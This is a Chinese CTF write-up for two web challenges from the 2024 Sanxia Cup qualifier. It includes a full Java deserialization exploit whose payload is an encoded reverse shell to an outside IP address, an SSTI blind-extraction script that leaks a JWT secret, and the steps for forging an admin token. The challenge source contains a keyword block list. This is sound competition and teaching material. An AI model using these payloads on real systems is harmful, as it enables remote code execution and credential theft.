目录

  1. 1. 前言
  2. 2. babyjava
  3. 3. textme

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2024三峡杯初赛

2024/10/21 CTF线上赛
  |     |   总文章阅读量:

前言


babyjava

参考:http://kode.love/archives/ctf-springbootjian-quan-rao-guo

对路由进行url编码绕过鉴权,然后依赖里有jackson,简单打个jackson反序列化

exp:

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;


public class exp_template {
    public static void main(String[] args) throws Exception {
        // 1. 动态移除 BaseJsonNode 的 writeReplace 方法
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        // 2. 创建一个 CtClass 并添加构造器
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzcvMzA5MDggMD4mMQ==}|{base64,-d}|{bash,-i}\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();  // 生成字节码

        // 3. 使用 TemplatesImpl 封装字节码
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);

        // 4. 创建 JdkDynamicAopProxy 并包装 TemplatesImpl
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
        POJONode jsonNodes = new POJONode(proxyObj);

        // 5. 将 POJONode 包装进 BadAttributeValueExpException
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp, jsonNodes);

        // 6. 序列化对象并保存为 1.ser 文件
        try (FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream)) {
            objectOutputStream.writeObject(exp);  // 将对象序列化并写入文件
            System.out.println("对象已序列化并保存为 1.ser");
        }
    }

    // 设置对象的字段值
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

image-20241021095822604

image-20241021095850098


textme

rust tera后端

main.rs

use std::path::PathBuf;

use crate::auth::Claims;
use auth::{AuthError, KEYS};
use axum::{
    http::StatusCode,
    response::{Html, IntoResponse, Response},
    routing::{get, post},
    Form, Router,
};
use jsonwebtoken::encode;
use jsonwebtoken::Header;
use once_cell::sync::Lazy;
use serde::Deserialize;
use tera::Context;
pub mod auth;

#[tokio::main]
async fn main() {
    tracing_subscriber::fmt::init();

    let app = Router::new()
        .route("/", get(root))
        .route("/text", post(text))
        .route("/login", post(login))
        .route("/read", post(authorization));

    let listener = tokio::net::TcpListener::bind("0.0.0.0:80").await.unwrap();
    axum::serve(listener, app).await.unwrap();
}

async fn root() -> &'static str {
    "Hello, World!"
}

#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceiveLogin {
    name: String,
}

async fn login(Form(data): Form<ReceiveLogin>) -> Response {
    if data.name != "admin" {
        let claims = Claims::new(data.name);
        let token: Result<String, AuthError> = encode(&Header::default(), &claims, &KEYS.encoding)
            .map_err(|_| AuthError::TokenCreation);

        match token {
            Ok(token) => (StatusCode::OK, Html::from(token)).into_response(),
            Err(e) => e.into_response(),
        }
    } else {
        (StatusCode::OK, Html::from("NONONO".to_owned())).into_response()
    }
}

#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceiveText {
    text: String,
}

const BLACK_LIST: [&str; 7] = ["{{", "}}", "FLAG", "REPLACE", "+", "__TERA_ONE_OFF", "SET"];

async fn text(Form(data): Form<ReceiveText>) -> (StatusCode, Html<String>) {
    let text = data.text;
    let check_text = text.to_ascii_uppercase();
    for word in BLACK_LIST.iter() {
        if check_text.contains(word) {
            return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned()));
        }
    }
    if text.len() > 3000 {
        return (StatusCode::BAD_REQUEST, Html::from("Too long!".to_owned()));
    }

    let mut context = Context::new();
    let content = tera::Tera::one_off(&text, &mut context, true);

    match content {
        Ok(content) => (StatusCode::OK, Html::from(content)),
        Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())),
    }
}

#[derive(Deserialize, Debug)]
#[allow(dead_code)]
struct ReceivePath {
    path: String,
}
const PATH_PREFIX: Lazy<PathBuf> = Lazy::new(|| PathBuf::new().join("./static"));

async fn authorization(claims: Claims, Form(data): Form<ReceivePath>) -> Response {
    if claims.username != "admin" {
        return (StatusCode::OK, Html::from("NONONO".to_owned())).into_response();
    }

    if data.path.contains("..") {
        return (StatusCode::BAD_REQUEST, Html::from("Hakcer!".to_owned())).into_response();
    }

    let path = PATH_PREFIX.join(&data.path);
    if !path.exists() {
        return (StatusCode::BAD_REQUEST, Html::from("Not found!".to_owned())).into_response();
    }
    let file_content = std::fs::read(path);

    match file_content {
        Ok(content) => (StatusCode::OK, content).into_response(),
        Err(e) => (StatusCode::BAD_REQUEST, Html::from(e.to_string())).into_response(),
    }
}

auth.rs

use axum::{
    async_trait,
    extract::FromRequestParts,
    http::{request::Parts, StatusCode},
    response::{IntoResponse, Response},
    Json, RequestPartsExt,
};
use axum_extra::{
    headers::{authorization::Bearer, Authorization},
    TypedHeader,
};
use jsonwebtoken::{decode, DecodingKey, EncodingKey, Validation};
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use serde_json::json;

#[async_trait]
impl<S> FromRequestParts<S> for Claims
where
    S: Send + Sync,
{
    type Rejection = AuthError;

    async fn from_request_parts(parts: &mut Parts, _state: &S) -> Result<Self, Self::Rejection> {
        let TypedHeader(Authorization(bearer)) = parts
            .extract::<TypedHeader<Authorization<Bearer>>>()
            .await
            .map_err(|_| AuthError::InvalidToken)?;

        let token_data = decode::<Claims>(bearer.token(), &KEYS.decoding, &Validation::default())
            .map_err(|_| AuthError::InvalidToken)?;
        Ok(token_data.claims)
    }
}

impl IntoResponse for AuthError {
    fn into_response(self) -> Response {
        let (status, error_message) = match self {
            AuthError::WrongCredentials => (StatusCode::UNAUTHORIZED, "Wrong credentials"),
            AuthError::MissingCredentials => (StatusCode::BAD_REQUEST, "Missing credentials"),
            AuthError::TokenCreation => (StatusCode::INTERNAL_SERVER_ERROR, "Token creation error"),
            AuthError::InvalidToken => (StatusCode::BAD_REQUEST, "Invalid token"),
        };
        let body = Json(json!({
            "error": error_message,
        }));
        (status, body).into_response()
    }
}

#[derive(Debug, Serialize, Deserialize)]
pub struct Claims {
    pub username: String,
    exp: usize,
}

impl Claims {
    pub fn new(username: String) -> Self {
        Self {
            username,
            exp: 10000000000,
        }
    }
}

#[derive(Debug, Serialize)]
pub struct AuthBody {
    access_token: String,
    token_type: String,
}

#[derive(Debug)]
pub enum AuthError {
    WrongCredentials,
    MissingCredentials,
    TokenCreation,
    InvalidToken,
}

pub static KEYS: Lazy<Keys> = Lazy::new(|| {
    // let secret = std::env::var("SECRET_KEY").expect("JWT_SECRET must be set");
    let secret = std::env::var("SECRET_KEY").unwrap_or("secret".to_owned());
    Keys::new(secret.as_bytes())
});

pub struct Keys {
    pub encoding: EncodingKey,
    decoding: DecodingKey,
}

impl Keys {
    pub fn new(secret: &[u8]) -> Self {
        Self {
            encoding: EncodingKey::from_secret(secret),
            decoding: DecodingKey::from_secret(secret),
        }
    }
}

审计代码,目标是 /read 路由任意文件读取,需要为 admin

/login 会返回当前用户名的 jwt,secret_key 从环境变量读取

/text 路由存在 ssti,可以尝试在这里获取 secret_key

翻一下文档:https://keats.github.io/tera/docs/

BLACK_LIST ban了一堆输出和赋值的关键字,尝试用盲注匹配获取secret_key

{%for char in get_env(name="SECRET_KEY")%}
{%if char is matching('') %}1
{%else%}0
{%endif%}
{%endfor%}

能够返回在字符串中的位置

exp:

import string
import time
import requests
import warnings
warnings.filterwarnings('ignore')

url = "https://2d8981d06b-2f520221bf-1.sanxiabei.tuhuan.cn/text"
s = string.printable

def ssti(re):
    payload = """text={%for%20char%20in%20get_env(name="SECRET_KEY")%}{%if%20char%20is%20matching('str')%20%}1{%else%}0{%endif%}{%endfor%}""".replace("str", re)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    result = requests.post(url, data=payload, headers=headers, verify=False).text
    if "1" in result:
        print(re, result)
        return re
    return ""

for i in s:
    time.sleep(0.5)
	ssti(i)

按1的位置进行拼接,得到SECRET_KEY:DAPqYZUDHpHzPxvHpKjfRLMj

然后去 /login 随便用个用户名登录,返回一串jwt

伪造 jwt 的 username 为 admin

image-20241021112827563

token 带进Authentication <Bearer>头,尝试直接读flag

image-20241021112445631